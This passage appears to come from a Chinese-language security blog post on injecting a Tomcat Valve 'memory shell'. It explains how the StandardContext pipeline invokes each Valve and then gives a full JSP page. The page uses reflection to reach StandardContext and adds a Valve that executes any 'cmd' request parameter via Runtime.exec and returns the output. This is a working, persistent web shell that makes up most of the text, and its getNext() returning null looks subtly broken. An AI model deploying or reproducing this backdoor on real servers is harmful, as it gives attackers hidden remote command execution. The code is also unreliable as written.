的invoke()
方法的
1 2 3 Context context = request.getContext(); ... context.getPipeline().getFirst().invoke(request, response);
然后在每一个invoke()
里面又会递归调用
1 getNext().invoke(request, response);
所以我们只需在standardContext
中添加我们的valve
,即可注入Valve
内存马
1 standardContext.getPipeline().addValve(valve);
Valve内存马实例 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 <%@ page import ="java.lang.reflect.Field" %> <%@ page import ="org.apache.catalina.core.ApplicationContext" %> <%@ page import ="org.apache.catalina.core.StandardContext" %> <%@ page import ="java.io.InputStream" %> <%@ page import ="java.util.Scanner" %> <%@ page import ="java.io.IOException" %> <%@ page import ="org.apache.catalina.connector.Request" %> <%@ page import ="org.apache.catalina.Valve" %> <%@ page import ="org.apache.catalina.connector.Response" %> <%@ page import ="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>AddVavle</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context" ); appctx.setAccessible(true ); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context" ); stdctx.setAccessible(true ); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Valve valve = new Valve () { @Override public void invoke (Request request, Response response) throws IOException, ServletException { HttpServletRequest req = request; String cmd = req.getParameter("cmd" ); if (cmd != null ) { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner s = new Scanner (in).useDelimiter("\\A" ); String output = s.hasNext() ? s.next() : "" ; PrintWriter out = response.getWriter(); out.println(output); out.flush(); out.close(); } this .getNext().invoke(request, response); } @Override public boolean isAsyncSupported () { return false ; } @Override public Valve getNext () { return null ; } @Override public void setNext (Valve valve) {} @Override public void backgroundProcess () {} }; standardContext.getPipeline().addValve(valve); response.getWriter().write("Success" ); } catch (Exception e) { e.printStackTrace(); } %> </body> </html>
参考